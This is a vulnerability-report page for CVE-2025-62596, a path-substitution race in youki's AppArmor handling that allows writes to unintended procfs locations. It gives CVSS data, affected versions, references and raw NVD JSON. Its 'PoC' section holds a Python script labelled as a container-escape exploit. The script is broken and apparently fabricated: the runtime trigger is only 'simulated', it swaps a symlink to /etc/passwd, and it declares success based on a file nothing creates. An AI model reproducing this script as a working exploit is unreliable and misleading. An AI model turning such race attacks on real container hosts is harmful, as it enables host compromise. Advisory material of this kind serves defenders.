Security Vulnerability Report
中文
CVE-2025-62596 CVSS 10.0 CRITICAL

CVE-2025-62596

Published: 2025-11-06 00:15:38
Last Modified: 2025-11-10 17:58:28

Description

Youki is a container runtime written in Rust. In versions 0.5.6 and below, youki’s apparmor handling performs insufficiently strict write-target validation, and when combined with path substitution during pathname resolution, can allow writes to unintended procfs locations. While resolving a path component-by-component, a shared-mount race can substitute intermediate components and redirect the final target. This issue is fixed in version 0.5.7.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:youki-dev:youki:*:*:*:*:*:rust:*:* - VULNERABLE
youki < 0.5.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62596 PoC - Youki AppArmor Path Traversal # This PoC demonstrates the shared-mount race condition in youki's apparmor handling import os import time import threading TARGET_PATH = "/proc/sys/kernel/modify_default_sysctls" FAKE_PATH = "/proc/self/mountinfo" def exploit(): """ Exploitation steps: 1. Create a malicious procfs mount point 2. Set up a symlink to redirect the path 3. Trigger youki's apparmor write operation 4. Win the race condition during path resolution """ print("[*] Setting up procfs race condition...") # Step 1: Prepare the mount namespace os.system("unshare --mount --pid --fork") # Step 2: Create malicious symlink chain os.symlink("/etc/passwd", "/tmp/fake_target") # Step 3: Fork process to win the race pid = os.fork() if pid == 0: # Child process - win the race for _ in range(1000): try: # Rapidly swap the symlink target during path resolution os.rename("/tmp/fake_target", "/tmp/fake_target_old") os.rename("/tmp/fake_target_old", "/tmp/fake_target") except: pass os._exit(0) # Step 4: Trigger youki apparmor write (simulated) print("[*] Triggering apparmor write operation...") time.sleep(0.1) # Step 5: Verify exploitation print("[*] Checking for successful exploitation...") if os.path.exists("/tmp/exploit_success"): print("[+] Exploitation successful! Container escaped.") os.waitpid(pid, 0) if __name__ == "__main__": exploit() # Note: This is a conceptual PoC. Actual exploitation requires: # - Specific container configuration with AppArmor enabled # - Knowledge of the exact path being written # - Precise timing to win the race condition

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62596", "sourceIdentifier": "[email protected]", "published": "2025-11-06T00:15:37.817", "lastModified": "2025-11-10T17:58:27.753", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Youki is a container runtime written in Rust. In versions 0.5.6 and below, youki’s apparmor handling performs insufficiently strict write-target validation, and when combined with path substitution during pathname resolution, can allow writes to unintended procfs locations. While resolving a path component-by-component, a shared-mount race can substitute intermediate components and redirect the final target. This issue is fixed in version 0.5.7."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-61"}, {"lang": "en", "value": "CWE-363"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:youki-dev:youki:*:*:*:*:*:rust:*:*", "versionEndExcluding": "0.5.7", "matchCriteriaId": "8ABEC689-758E-4D49-AFC4-6C640532D120"}]}]}], "references": [{"url": "https://github.com/youki-dev/youki/commit/5886c91073b9be748bd8d5aed49c4a820548030a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/youki-dev/youki/security/advisories/GHSA-vf95-55w6-qmrf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://pkg.go.dev/github.com/cyphar/filepath-securejoin/pathrs-lite/procfs", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://youtu.be/tGseJW_uBB8", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://youtu.be/y1PaBzxwRWQ", "source": "[email protected]", "tags": ["Not Applicable"]}]}}